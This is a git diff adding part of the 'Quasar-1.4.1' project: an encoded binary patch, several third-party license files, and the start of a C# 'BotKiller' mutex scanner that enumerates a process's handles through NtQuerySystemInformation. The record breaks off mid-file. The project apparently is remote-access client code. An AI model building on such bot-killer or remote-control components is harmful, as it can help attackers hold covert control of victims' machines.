z#@NMY^Dc;BY|b1GzU0f%>vd@vcQ4>1SIki-7*}ah^2I&RDYYn5J5z|iRlIcPJVfP6 zt6N=I-ARKlf@NYUvZx%|@`1AazUi4C!VOPHx)IuIpei+IiY#YwMRhkhKU%2_VUyQv zS#mNwwa}Z4=R2#oY=d>JOqqQo)Nos{oFJ3FPxW;py>fus($|tV`-%sa!oZ$^d9H5B z$SEVo*&uSqNOZ@7&_^LcO^u%#m}P7hGJg?vhnUE!R)4*QJk%bRQd z7Je`OO_fIgYppy+Qr~Cr!jn3G2V>w4W(R(3Os?L#k_7Ka7pYyv0$p47SL+K)B3%G$ z&^sk%63p?AF+FJ#;>H0>N4C=LrbFuPxB28f%h8)ZUpRFNkHc6F@wupjU(IOx>Rw2@ zVB@1pb?}+ucj3Iv&PJ`k@h&NLU2CZ_4v2LFEpyUmcrX3k=GFA$6CQZm;_MwjSz+x? zreRXMoDBx-TD7!1K`R~~tK*w5f{>OfpDfi}ri6Nyv(=+GWgI3cwvrhxeFQg?qeDI3 zn_#gde`6>Qw_5GltC=%fikN3F?i(0-y5F3UoVFlAoUr3n(td4r?zdB| z>4CAl0;Z+wh1$XsR5p7#pAe{=B=>aPh?E}lkq+Mgo+S+dXOqENMQdY@^ofKUyLr2M zm?S2B>oRh0UbA)27!VKYOduM&-`77IPo|1QQxvZjKpZH&mTKhJt@&i9VoY$&@?P+! zFS<$7c=tP+Pl_+pVF4Z`@5ht_YuQoAIPkc%cB7Zkgr3P9a~`t7w@O~T>>Q`019kx7 zl{5?lnUEA$lchfCdGe$lIq^f+qvrJBnm#af*K0M8M=mt2*$07iZ!B@Bp3y)$nlqFW zh-5vUaP(eRXjx8mKb-B>)##W!eAFjbaN1E62;0uMJFv>{j45Ro9XMD?tqnS?CT&-8 zTCK=(H$U-ZY4G8MkM-vQlkI$!COv3ApRy+IC;m1KBtTF)o?Z8}__M;Faf```J28y+ zzt7CruFqL1Yx|n9X>I*U!>n!j(I)S*`Xqzg+XhETU6W_GV{dj%mQG*H(oC4S2*gANz~=BEPD5zHQ+Iv?@_1^~ z5>bLu@j2GZ7=S%1kg1p$p^jeOIsTZ)sqCC!11H^UEAF{Hh_SKejA|mqxWcGa^ECB< z15rDo{%zp=dgkP()=I!HGuuVqYj8DvEfwRAkvKl|1rxc8SlP_C(G{gx`Wm9O8cGuR8Du5Rk# zS)*s&TR<`S-`3^iK7-{_Rv%fM#>2o)qt*f`sfU+k76R)kcdl;29?wM zZR-!k!oOsRx1Q?*(hSjPC)K1y3O>1+ts*H7ItNDtFKO?aGbA=kG0uOPgt;5>TizTP zAh(7{tMI@9jVt-wS(g-`y3cYYG^|fiHt7y99Ot?{m zOnpkK(0lr|Mp6Q%0oCb3+^eZ_u}q`wgilYrJq?bozN@HZ;_A`kUR zi{FAH7o0Q3sOhq;s@&2NAdoNCB^r9NI*p2BT6@s zVE#L)0=|=aPumeviu=1F2?LG6#!hxaJrMiXj=*{}EF9)SDijULU==KJ_o+gf8$FP) z?79Yk{Nw>WF?#q3%pPjYZ|_(`M)?EH*O6qc5oulC2U9f-X>%i4CCL*;agz6#0S zcZ2#$$?B*_63eC$fS1V%&{E9+-#$tLAaP|0rsUd!BgN29SkPlPIjcf?DmDFUAIC<# zk{e8Ku98N{Ig4gMDy18$z@{=|HO)&A8*^H3boWkKFehdbyxj-yj((Z6b=Su`di8ej zZ4$aaHSuf?y!PMrp1BjR|R4v8lw>7`5QOkmaYiz_A3a~v=pw-s4T;sKfJX~hC< zVj$z*yGKfI!|NV8UT_y{@Yc`0SUNYexGry!7Mx6&A{i^H^Rj_MrhKe69=n2Ltuv4> z0x8ne*expH$VAbxksoFWgb=X)tZshs@DlD9=!47Xhp*=Co-b~0`o5GaWP!I4gR3BV zJk5^`^%d|?Lsc-hC1R$b)Sm11z$3|`V?TZv5?5DUs$Q(Djb~?uH z#Y&{|_9Xl*R7P+H9yxk@8Eu@LwoQb1$fe-362;A55Og0ch~{G&?2D7iDRI=A=ViMX z-n;%-+9%KF3PQ`(jT#TFfv`)B593g8q1hkf^TLJQl)3AYie;E;-Guy`A0f#}B_0Ee z0lO9Me^g@8A-sPB$SH87++tRli5iVtl?poDDeWjwx75~sois1YpB3;j|BXx2Gwz!K z4ucPXF>gKo<$L}lG+Acn@LHD81 zK6{B7t;=B!=d7I2aeOn+A)oNkwg@Rr|0m#l;sAS$bO2!EM(i7-?W5YeNBNR&s(jfi zkNh@KnLt`fw!Q_o>?0*M2|C4>X;>gC^Mwn&WBUw7`vs?wTi#onz@c`-9B>UWLogtX z@F;>O5c=`N=<|odje8%AszTE}#Scj~a5Dq^k|O|6!=CIRsYXkTOLD^)9yILBwpw@x zB+ZZ30h#P)G#Ag9rZs%xZQdPU}>-zx?9#YI3u}v2v{ktaD5Z zhBEXE?B^%@u{=^(Q%61yxw&F5>Ot}l@cc|Jz28{awx~29t2fcJSO-97hhv2Nm8L&e z2@SAy*pfSlbW4dKt)9p$VmXgm4R)=qTn=a!n!XfIn4a0(-!^DC zm0&-&G6#OB70bxbbKvK}^C#;_ookF=T)NVl*zb*RT>drk)h%>6VfIQ6h6Ucrebdy~ z!lic)T2?+yw7cr)Lw|`N&EOJ&E|Na0} zYoqPW_j&FDuwna}rv4e{CUx8g%W3aG&f8X}#DaDSC^w>N>ugPr1T5HfsZZVWFiPyc z`(kuz;Z6T<*0OXAFNHW=k)R8ntFtgX!H2%N4CJlly9JMozJHqZ6j=bI!Uq*UECpmj z!Fm)qN3?rYLUPvye6lp2rGZ?cZSQ*3xT#H2Rfws@!_BE|Cc`&HD=!zKpG|#QC61P# zlrALPn>ELZcZ(gIt72lvJ4W|%KdE&~E86Yufqq}QQlIo@KVRTk{3BdEGG%|96nH_v zuzb0lZFonq*ji!t!OA35dR|R&JDQaG<%v& zBFM?t8Zy+`F(@$O`RpKi-w&I5k)#rHMXW2<#f)1c@uq81G+A@jms(L39y2*iDq8oB z(fWc{g}yFJ;tWW+%RB+IOCEbw*`k=Xy~Qr5{Y*M&7~Ut{2fsW*=>Ih0$gVR3EK70v z`f%a*_4j#=iblV>BKUabN;~nm#ICqJ^A5%j(6}k}7fQA_U-l+AYgh#1%%{Dn64}kb z#`?7eZx{T**^~?IH7k(b8o%FtEpzte{^wY>kS3ekJg4&yjD^(n)fj`~%*d;At`bTA zVcVOTf7h8?M<(XBg2#B7qivlk$kf)}mv<7SgfTU;Ans!5{^87xe73ND{Q?5pI-?%0 zpo-?+b=~pq!l_b=7BHQnFT{KM6r>0q7Yp&dN%WtK zZB@XBr(D$UM;`a>I?Q0EK!3nGltUPxRQaeaZb^6vk!5^rUVt*+keDP?L^J2JirX7Y zd%MK6@}}eqS+=&mc{3e4FL{iedN<(px1tYd2}+^((*$Y#5+De)_=NgV;*Ter~^Z_+{tG0iEGqxb!){h~w>rmj@0 zhq|%2yAJ%gu!Hkpi*)+4B`GMeD_*W!DiP0uxO5^ktMGGx~CcvK;H>q%Vx9~-mO2lYXXe*_AepWBs#LkyCZhL~BmwstHR?3%D5Ga4EunC>lLY`T&;xQw|hiI%LT)Uwc0w*NgE4M=47_kUX2XU_1rk ze3Ls4amjP_dy67gHg|P*yTm0p!G$myew7K)m)tCPrg#em&gr(=<3o-83oyt;`L^1s zVA;J3=hS^G2rno4AX_b~{o`poF@}J%^6EZ)df6ngb~?Oqhgi`|4d6sK5P>Y*feEcp zR8r6$M~7H=zThfL8nnu_L|NN>xfo^cZo9AU?A5YoM|CD%sk=xHJLjV=8wX{UL-v)4 z+8QjB>84CcT+#~S2IBUN4ZZn7i#@wGIDEbBmOC2IyiKtoi^X>^{F}L$7}>VdK1!h| zu)E(y{nO)X-hBPziCEz_&jd0okRWAk7p}WDiQFXU zk|tX@=B__;1TyGh0P7_yd7VyW1^Cqs>ZWF|kDrm1V>T7nv#Jn-z={M~RWa#Ml+y4Z z-Y|$mC#I%KGtuERxZoCWaIcw{f&2oav|mOXyH8A%zrK-;d#e7ePQFu9*q(j#mPrPd zvG%Y$_@)26MJ{uK-#cwVPdL1FPKI2hq?SMkS+pBjIg}FM_lxafyV6ig!7zYuK7jv- zwyhA$V@<}K5|QW7X0?>wtW%1E-mNuY_ezDvrPhwf-uILwaz;o_k@K9o!xI~09T(eu zT)hhGHhF6=7N^T*ggWZ&5;krHHQ4!@CKcsJAgey~MAPwrKqcut-ftJ=lbi<>7Zy8w zXO=35V)7R^d=8kPwIjJx;C;(deH$*bzhwBv8v{`DiGwsBSb~On5{pll3qmdvJ--m} z07me>W{EprXK)_?=+*D1yZKfCN9@%T?p}|gXnY|Moy@Xv^&G@^BCE#N={ z43cupxk*2TM~lmcQ|6RA?<+=kDz1hRDtyUd?ziV?WAex;q#KqQj)@DrdPkz zrIo&<%Ii9~js$FmgW7K2-9Y|=n~8ny|J_w=OUei^*5uzt+EPax;{K}u z(0SU^{5Tk|DH`3?I_^o_fRDNRy}$^>Cxy(6aEBeXq;yN-TC7V-QAct@w@kIVjlZ~O za&{_yYL`9}o`oTC?+u~4rd^)mk~n{a9k2X&<(Nvw^k&= z&r(9Ds*Uwr@&Lld&|D8hkfzlI01bd2=#R4NWk%HgEQNU}^h#h*L10xH{Ipthuddcr zFV~qlrT%P|j8Fi9k!mztQ}ee$YoHi4ruYe%2*`%)BV5bPR{@vyoUKdej@j}0E~$FI zZTxtGMRh#;7<{`ZOtR{&^9bDaNrc{+SsHIZmrl9_s78IKV!JMfDG9SUU_!JmEbo=N zo93&qz2RcneT9s+Gc6NKRj+ZlR&zbm4askh3vOH*f%N!Y%{A3ci|CSF129FWa=6v* z&A~b~N-ww@d||v%>V^$jdwA)p3~m@HrD;MiM9OZM9O4iMZYv4kU`@da=YiUZp{LVH z^?NU@oU5myjlc)`9=F2`kCnip!vNq8Nd5)Ufytj3BS2r*-wp$`Oo2LppZ-_R%N_Rq zKjMOmURj*1=~d)B0UV7C^rI1^*1dLsnVKc4V`@I~WzFY!IdnVnNh-muLEkEd6J3@!aDdPZ$)dYTM*mEx;I!&@d)JD&)tRx*!J29@ zz)LU_{^?tFZ?bAA3||1Lp}(`C$EcA|Ip>wWO_SEnWe3-2bgCHD%tBzB3R>x`Qn&~G z$YzWjym-C7_lKiX=H6md#eeMtO{-=~QxXY6}W0T}ByQcLDmzJ4zqr7{(si|;wF_C;NjY3t&81;Y- zHr%9xy0JK_(3E$swjBHGm#oxb=%AUQpQsU2VPkI>EHz>#McSciw zqTFx}haOegY#%EOsT}i7p_vewv)To z&J#6T`!B^Pdb$CfQOr)zeW8$Rp**S2Ay>9)I;2z;?Y?~D&K)FcXiuyz)=xm9?LcTSV+#ptc`J)nvK4IKGug{7QmDmNTvw^X9qBuyQQrVbPXUulmpEJ0zP@>K;~Th(l7kw z|6+<4aE7M4w7h}ljsVgK#vXdLR@3`k@G9@G+YRrLtI1}xtKO2PPZgjJoCZ#y`a3>Z zUyqPf!vwS7LTz|s1%(AG=nk5d!_nfE!IHK=;dcz}-yM8>#wa{W6@5!aRIZs)@elBoX zM3~3gIXR(C81GQrEpNvKGwZuuir`l~1zb&U4O>}SB!M^kWPX)iA4oAg3~~YBDS^$p zCu#-?3hU2qa^l}BIv3r9a|e5QTOAXxR1qM-uiSw9v97OuMH`U8OOcY*L;R(kk%6BU zfbi+-J^GRZW3PomDddo~)(c)%r#=8o#(@+60$3JRb0R3;d`R(IaHkdkh)fZ+wTfiq;$orE_@h3v?A8>6G zuf~J_m^HEcLh_dUY~-(N7ilEr9)*v=H@#+aOARii5*CSHyUzAePOkT{Hx&$)Jdz!22|YWw z`rV?HNgGIX?EX1q;8ew7chfyWK{att$XX#S2<8gx3g3`t?bFGgBD_>L*7;p8cD^|> zRz`gGT)4G$QUiq0p=RSn9rNj)ZxmHquMhFgoDu#q6H4kmxqM%?26fVP_Bw05J@6VQ zf9|`{TB-Aalh8)T$hQIAB3c7jtyVi-4~v}l-V*|LYKeN~PfA|^WgU%7uUOI?m()0V z&6=}ajrOoh!aPt+Uu#vWdk-m^QfiwsiIlw!l!ms5OT^S9F?r4OmU&Ih`_13QJYJYi ztR7Dv>@$oEaBd+ zF2tl$T~$|-mI;z-y4%uh>VOO1G=b7mwc1Qb6F@ep7xKq4tl0iWD9ni@BXNqo>8K zH0zo)z*tbdRo%h5-5;c^p!&v5qFIQaJFDrv4{gt20a|Y7Poj-)#Up|3J^CJ(06z!V z#QWnP7e?^dSXhA8P@s(zHBBB8cU-vK;^!G=%=A^L{yFInWN)M}zNT+WO%@)(e}RFy$EBRxACC3;moB zX;Jj?!hP3%4)k$r6^vkS{-!Pe9nb}cKbj8&c{TlEZ(n=d8D~=)z1)xt`@4mulB8O) z@HjE3SwU-*bKvW;2eF*w<@k+UeVIVEH9gn%dKo%Qki3_4PUdbBggkM#oUPJl)?(CD zJRuNFk-=DPM`7X4+mISYu@fY!iBUN00y&xAFz8^HYDF#@B>m^vo&+E~Q8ZlL0Y-{KK)jsw}bA9W{tPM)8=ymeBVGJGq0 zr?TWdSMTq1I&NxS`mTVcIG`M6fY&gZXOmBd_T%5mb|kSXa4WcJb%!;=9?+XoEaISj z+s#aOu^Q{GzJ9GPqA~s$WKYu1WkG2=6Q28j-(=5l!6G)fXb-^<^k@3sUlQ{E9`mvx zt5K?`v!Cb{IEarj*tvjhY8Df(-y#0c1-m9S${yZT0B5G%=@dVt82H=rtfm<8tWq3J z(&&3I7%P;FLm({k%;<$ZY4CRuo72`xSrgx`IU!6ZXabai`oBfRW`I}p`aDf2n0`rd zNb!U-;`3NvS;V+*=*~1Q(4=>ZI5b{MarcS`tTlB-1L6uarNAzlx}POt9OlP)>Bo`3 zQNN?@lQFnODK?n%Un%cOUJQxY{B}*r2)QxJi&0$8(8{Pi3&ujO#gvvc_gc>S-&Uh! zh<~gX%Q(*oYd8-`7=8UnfBCV?fbfn_M|`Gd#VAh~pcHpfinImj+I51l*!ugOYA=uV zS^|oJRO#`-*{rn5H)>OvB(RSGXUrh35x8g<>>Vs+}2)x63G0=>vR`a75R`Z z4#6q`QM-fw?YiHxJb@J_&Ql(7jFYBP2gWYg{OXKoVN$Fl2lDDZldVsGw?-dWhB`hs z`?aaWs_JLQhDZVJfc|q`4Htj;vk3^+@7eT6qg0>)*gXe+`;+1?AD&)2JI7E-efTWP zGYE0doIa5Yr+^Dk4ZRn%w-mem0vx9DEr|7fS@|5Wqg{a5A-Dk0D!V8L;h3(DEaDaS zpX2q{VG;5UzRt+~Ugy$Q`bT0hl-RG;7q;XvK+sN$Z0XAf|Ax$8(+W|4olh{7g z(0EaKj@q8y`QXLFvjGpp+UA-@*%m~r{ce|BV&!Y2H1TFOrRO$Wdjbg24RjfM4(L@5 zvpBz-tyt82AiB|NKfCX5#TvU8)F(bd1YefsH%D0Jin>h{SI#)vo!n8fD=k_pv{>ZR zvOvsq8B+5{?gA=MaZU9me(Nnj9Z-=6KUv8{G*HcTdXskz#RaWvZY;mL5Sw4&b|x7i zI(NF^RFu}8$X&vw-$Vm-B^cRHF=0waTj-*uzc)1MHBxN2+w(`M!HLh14S$MR{D(SOV#2*`iz5{D?=E@luJZ$ks^o$u=Jik zJlD3lXYA|pN`=DTsW~bWGjAy_ND z?$}-?r4(N9%Ux&p++>VpzQB3U!p8D@NJg}0Btp6I{e?RHLE9I*4n7Z*NhX^z+zI|; zXQ-WlG@Ph`$VgAHL_u08VdTN)BLDuwL+SZXTbu;Ctm-BgLbFXt2ia? zF|9z)-$588t()V{gA;fCW46xbxdRfmzw1Hfj7Or`n)(eV>Z=|~@lKy{BR>yW<`t%B z0JIsFFI=eXdTA^r)1kf@Sev}-W9(hZ5ZB0qDdx&ya{x9{l7YEY= zb~*3>s=PHyEb}nlCE+o|%-R{NE;AgOHYbjIMBHqMHS4^yX9V;oM)*L0+8?^@894v- z+KxiSJ78AA&@`P%6reM?G^~YGXE{TptvXyv^ff*|U3=7dWwBZ6gRNiw<{bcqR5Uvg z7?xJtLn)E`s*priDgB*|Wrv_PPhV3+US&B0w;I!YQrs}OmF2xvD@tne=fL`n7C>fFHK;q*h}g4x>?@MD zZ}UhGrvz65ZVzn~v;NU=U?2NItN^Ci=-bgO{(ZuCT8Rp%&Kjb9)1ld4 z+emnt7%#BipKgp5GX-&qe#CDZvYmzl4`d$?j8)&n@l#9-dbd(`gpdDVBP-M%Dvymzs)g{qs!@Qxm^6cvKnv=lZK<2yICL<#iktiJtrjapauCqR*j@^&mhyqmZz^j8B2ZnH(m2` z&5QC${b1JvKSYrsfweMNK9xO(PsvPxS8`N$I*a_!DSobXQN?YFL)TV%M?obkhZDx% zG28xXcWfk|bEd;2Q|IGtnH}(SRs~_u6 z7iRzCe$U^-Xr#RCzij#ZcPi%p_3fVjxm^7}?E&z2;^_a&y|2HAO+QW_+F6$W-saZ- zE#CI;B<%mT)Aul-PL}-e-{0!{pN~dWMCF4BWBvc*Efav}SV#Z=7B4@VuLG)Ps2H<< zfAgLH9nCQQ^VVe*P>E3UfcNagPW}rzlmH71ikg1?*L`aK^D}4m z&sv-S=R&P@)lop~=Pw)S{_{5;0{qw1+NOVZ%cK8S&TF9iOUzHbPL+MpSs#9&3=FT1 zI<)x=qs6nrro*Zy9e@ln?IQ$qWv2h@#4$Qj1E6K+0Bs&a?%tIO5=}^r_PNThrjP82 ztX`}6MM2Y$cLetzGZ?gM&++cG8; zoM}~lnLwd}pxfQldtyUg8tz?EGWszsZ3f2UF2?SmCw!aSXK?mT75zy8P44CJnHl;W z@!=5cFq`jFj$RX>2}>tE#ucON}J;k8avf&pN`U(`H2 z)<^l(mdm)Evvc=z!Q`r8VbRg{WDeNl%3P_upr)=cLi-LD%5X2?()L=LK@U-l1Lj*E z`(}VYn=o*i>Vd(O%^pXF``qqvaE8VTlj_=2^C?m~_)<$#-T3Nzi36jL5{Jpc)oZqaF@G2NTrwK?}5he;Dd3+mI&dYEh1svJ>9WIni{rej$`GsMWsqSA`^7`QKee}0GXpYMAj_L_Gzr+FabkBp|?iz}W z+bln(4!&&{57uq$L60_5Xis^<%dyLRHCW+nBe}w(n8@3Qz=X4kD;-Kc#KSK#UXoSy zD~zSM$qgs3zRst|%|}8XY)g`1(zPYkhsBZA;*{ z4FYI?(Qka>7&|KBF}Pw{S;exoUYy{5XdQP)smVa9h)9(fSB?!R_b`zMi_h=lfzRJ` zPjpbhLmvhVK<{o8FMDP0pCRsT%YbLSgKJkGA0xGV2Z)>^qay`me}|Iqq07=Alv*9; zQdcV0lk$b!dHhqh0w8ZTepy=!YQ>c~JuQ3oj8WG!)S9R6s<2F+@%5Rey6VZ)T-77U z=2~kQCZJU@z+%iuIt8w?ad)$P@lb-{bX#p1N_Ahit@uax=Q9+=MR^(Q)3|3t*;@fR XERxB1UTQDxt< + + + + License + + +

The Bouncy Castle Cryptographic C#® API

+

License:

+The Bouncy Castle License
+Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc. +(https://www.bouncycastle.org)
+Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the "Software"), to deal in the +Software without restriction, including without limitation the rights to use, copy, modify, merge, +publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", +WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE +WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+PURPOSE AND NONINFRINGEMENT. IN NO +EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+
+ + diff --git a/Quasar-1.4.1/Licenses/GlobalMouseKeyHook_license.txt b/Quasar-1.4.1/Licenses/GlobalMouseKeyHook_license.txt new file mode 100755 index 0000000..78d9757 --- /dev/null +++ b/Quasar-1.4.1/Licenses/GlobalMouseKeyHook_license.txt @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2010-2018 George Mamaladze + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Quasar-1.4.1/Licenses/Mono.Cecil_license.txt b/Quasar-1.4.1/Licenses/Mono.Cecil_license.txt new file mode 100755 index 0000000..afd0ae6 --- /dev/null +++ b/Quasar-1.4.1/Licenses/Mono.Cecil_license.txt @@ -0,0 +1,21 @@ +Copyright (c) 2008 - 2015 Jb Evain +Copyright (c) 2008 - 2011 Novell, Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Quasar-1.4.1/Licenses/Open.Nat_license.txt b/Quasar-1.4.1/Licenses/Open.Nat_license.txt new file mode 100755 index 0000000..cb71efb --- /dev/null +++ b/Quasar-1.4.1/Licenses/Open.Nat_license.txt @@ -0,0 +1,23 @@ +The MIT License + +Copyright (C) 2006 Alan McGovern +Copyright (C) 2007 Ben Motmans +Copyright (C) 2014 Lucas Ontivero + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Quasar-1.4.1/Licenses/ResourceLib_license.txt b/Quasar-1.4.1/Licenses/ResourceLib_license.txt new file mode 100755 index 0000000..cd812d8 --- /dev/null +++ b/Quasar-1.4.1/Licenses/ResourceLib_license.txt @@ -0,0 +1,20 @@ +Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Quasar-1.4.1/Licenses/SilkIcons_license.txt b/Quasar-1.4.1/Licenses/SilkIcons_license.txt new file mode 100755 index 0000000..e1c6e8d --- /dev/null +++ b/Quasar-1.4.1/Licenses/SilkIcons_license.txt @@ -0,0 +1,2 @@ +Silk icon set 1.3 by Mark James +http://www.famfamfam.com/lab/icons/silk/ diff --git a/Quasar-1.4.1/Licenses/protobuf-net_license.txt b/Quasar-1.4.1/Licenses/protobuf-net_license.txt new file mode 100755 index 0000000..692cf3b --- /dev/null +++ b/Quasar-1.4.1/Licenses/protobuf-net_license.txt @@ -0,0 +1,20 @@ +The core Protocol Buffers technology is provided courtesy of Google. +At the time of writing, this is released under the BSD license. +Full details can be found here: + +http://code.google.com/p/protobuf/ + + +This .NET implementation is Copyright 2008 Marc Gravell + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Quasar-1.4.1/Quasar.Client/BotKiller/MutexScanner.cs b/Quasar-1.4.1/Quasar.Client/BotKiller/MutexScanner.cs new file mode 100755 index 0000000..f19446a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/BotKiller/MutexScanner.cs @@ -0,0 +1,216 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; + +namespace Quasar.Client.BotKiller +{ + public class MutexScanner + { + private const int QUERY_TIMEOUT_MS = 100; // Timeout for each handle query + + public static List GetProcessMutexes(Process process) + { + List mutexList = new List(); + int nHandleInfoSize = 0x10000; + IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize); + int nLength = 0; + + try + { + while (Win32API.NtQuerySystemInformation(16, ipHandlePointer, nHandleInfoSize, ref nLength) == Win32API.STATUS_INFO_LENGTH_MISMATCH) + { + nHandleInfoSize = nLength; + Marshal.FreeHGlobal(ipHandlePointer); + ipHandlePointer = Marshal.AllocHGlobal(nLength); + } + + long lHandleCount; + IntPtr ipHandle; + + if (Is64Bits()) + { + lHandleCount = Marshal.ReadInt64(ipHandlePointer); + ipHandle = new IntPtr(ipHandlePointer.ToInt64() + 8); + } + else + { + lHandleCount = Marshal.ReadInt32(ipHandlePointer); + ipHandle = new IntPtr(ipHandlePointer.ToInt32() + 4); + } + + int processHandleCount = 0; + for (long i = 0; i < lHandleCount; i++) + { + try + { + Win32API.SYSTEM_HANDLE_INFORMATION shHandle = new Win32API.SYSTEM_HANDLE_INFORMATION(); + + if (Is64Bits()) + { + shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION)); + ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION)) + 8); + } + else + { + ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION))); + shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION)); + } + + if (shHandle.ProcessID != process.Id) + continue; + + processHandleCount++; + + // Limit handles per process to prevent hanging + if (processHandleCount > 500) + break; + + string mutexName = GetMutexNameWithTimeout(shHandle, process); + if (!string.IsNullOrEmpty(mutexName)) + { + // Filter out Windows system mutexes + if (mutexName.Contains("WilStaging_") || mutexName.Contains("WilError_")) + continue; + + mutexList.Add(mutexName); + } + } + catch { } + } + } + catch { } + finally + { + Marshal.FreeHGlobal(ipHandlePointer); + } + + return mutexList; + } + + private static string GetMutexNameWithTimeout(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process) + { + string result = null; + var task = Task.Run(() => + { + try + { + result = GetMutexName(shHandle, process); + } + catch { } + }); + + if (!task.Wait(QUERY_TIMEOUT_MS)) + { + // Timeout - skip this handle + return null; + } + + return result; + } + + private static string GetMutexName(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process) + { + IntPtr m_ipProcessHwnd = IntPtr.Zero; + IntPtr ipHandle = IntPtr.Zero; + IntPtr ipBasic = IntPtr.Zero; + IntPtr ipObjectName = 